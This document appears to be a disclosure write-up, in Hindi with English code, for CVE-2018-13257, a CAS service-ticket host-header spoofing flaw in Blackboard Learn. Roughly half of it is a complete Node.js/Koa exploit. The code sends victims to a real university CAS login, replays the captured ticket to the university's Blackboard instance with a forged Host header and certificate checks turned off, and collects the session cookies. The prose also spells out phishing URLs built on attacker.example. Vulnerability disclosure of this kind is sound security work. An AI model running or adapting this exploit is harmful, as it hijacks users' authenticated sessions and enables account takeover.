
CVE-2018-13257 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Blackboard Learn में CAS होस्ट हेडर स्पूफिंग का प्रदर्शन करता है, ताकि एक दुर्भावनापूर्ण मध्यस्थ वेबसाइट के माध्यम से उपयोगकर्ता सत्रों को हाईजैक किया जा सके।
Blackboard Learn के भीतर एक प्रमाणीकरण मॉड्यूल केंद्रीय प्रमाणीकरण सेवा (CAS) सेवा टिकट सत्यापन के दौरान HTTP होस्ट हेडर स्पूफिंग के लिए संवेदनशील है। CAS सेवा टिकट केवल एक विशिष्ट सेवा के लिए होता है, लेकिन Blackboard Learn यह उचित रूप से सत्यापित नहीं करता है कि यह सेवा वर्तमान इंस्टेंस है। यह एक फिशिंग हमले की अनुमति देता है जहां उपयोगकर्ता सोचते हैं कि वे किसी विशेष वेबसाइट के लिए अपने सिंगल-साइन-ऑन विवरण दर्ज कर रहे हैं, जबकि वह दुर्भावनापूर्ण वेबसाइट इसके बजाय सेवा टिकट का उपयोग करके उस उपयोगकर्ता के रूप में Blackboard Learn इंस्टेंस में प्रमाणित होती है।
एक हमलावर attacker.example सेटअप करेगा ताकि blackboard.example पर एक Blackboard Learn इंस्टेंस में किसी अन्य उपयोगकर्ता के रूप में प्रमाणित हो सके, जो cas.example के माध्यम से सेवा टिकटों को मान्य करता है।
जब कोई उपयोगकर्ता attacker.example पर जाता है तो निम्नलिखित घटनाएँ होती हैं।
https://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example पर एक लॉगिन पृष्ठ देखता है। वे संभवतः इसे विश्वसनीय मानेंगे क्योंकि यह एक विश्वसनीय डोमेन पर उनके संस्थान का मानक लॉगिन स्क्रीन है। लॉगिन पृष्ठ कहेगा कि वे attacker.example को प्रमाणित कर रहे हैं।attacker.example पर रीडायरेक्ट किया जाएगा: https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example अब पिछले चरण में प्राप्त सेवा टिकट ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.example का उपयोग करके blackboard.example के विरुद्ध एक HTTP GET अनुरोध करेगा। GET अनुरोध blackboard.example तक एक होस्ट हेडर के साथ पहुंचेगा: attacker.example: https://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example लक्ष्य उपयोगकर्ता को Blackboard Learn इंस्टेंस में प्रमाणित करने वाले कुकीज़ के साथ attacker.example बैकएंड को प्रतिक्रिया देगा।यदि attacker.example एक ऐसी वेबसाइट है जिस पर किसी संस्थान के व्यक्ति नियमित रूप से भरोसा करते हैं (उदा: संस्थान का होमपेज), तो उस वेबसाइट से समझौता होने का मतलब होगा कि संस्थान का Blackboard Learn इंस्टेंस भी इस कमजोरी के साथ उचित रूप से समझौता किया गया है।
संदेह से बचने के लिए, attacker.example चरण 5 के बाद उपयोगकर्ता को वापस sso.example लॉगिन पृष्ठ पर रीडायरेक्ट कर सकता है और वहां से attacker.example के लिए अपेक्षित कर्तव्यों का पालन कर सकता है। उपयोगकर्ता देखेगा कि उन्हें दो बार "लॉग इन" दबाना है, लेकिन रीडायरेक्शन इतनी जल्दी होता है कि उपयोगकर्ता निश्चित नहीं हो सकता कि उन्होंने लॉगिन पृष्ठ छोड़ा और वापस आए।
यह ध्यान दिया जाना चाहिए कि CVE-2017-18262 इस कमजोरी से अलग है। CVE-2017-18262 redirectTo सत्यापन में एक कमजोरी है। यह कमजोरी सत्यापन लॉगिन एंडपॉइंट को भेजे गए service URL पैरामीटर में एक दोष शामिल करती है।
CVE-2017-18262 का उपयोग करके क्रेडेंशियल्स फिश करने के लिए एक फिशिंग लॉगिन स्थापित करने की आवश्यकता होती है जो cas.example की उपस्थिति की नकल करता है। यह कमजोरी सीधे cas.example पर होती है, लेकिन उपयोगकर्ता को शुरू में attacker.example पर जाने की आवश्यकता होती है।
इसका परीक्षण lms.uconn.edu पर brc15007 को स्पूफ किए गए उपयोगकर्ता के रूप में किया गया। lms.uconn.edu Amazon Web Services पर होस्ट किया गया Blackboard Inc. द्वारा प्रबंधित एक Blackboard Learn इंस्टेंस है।
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized is required since we're spoofing the host
// header and ctx.request.host liekly won't be in the endpoint's HTTPS
// certificate.
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}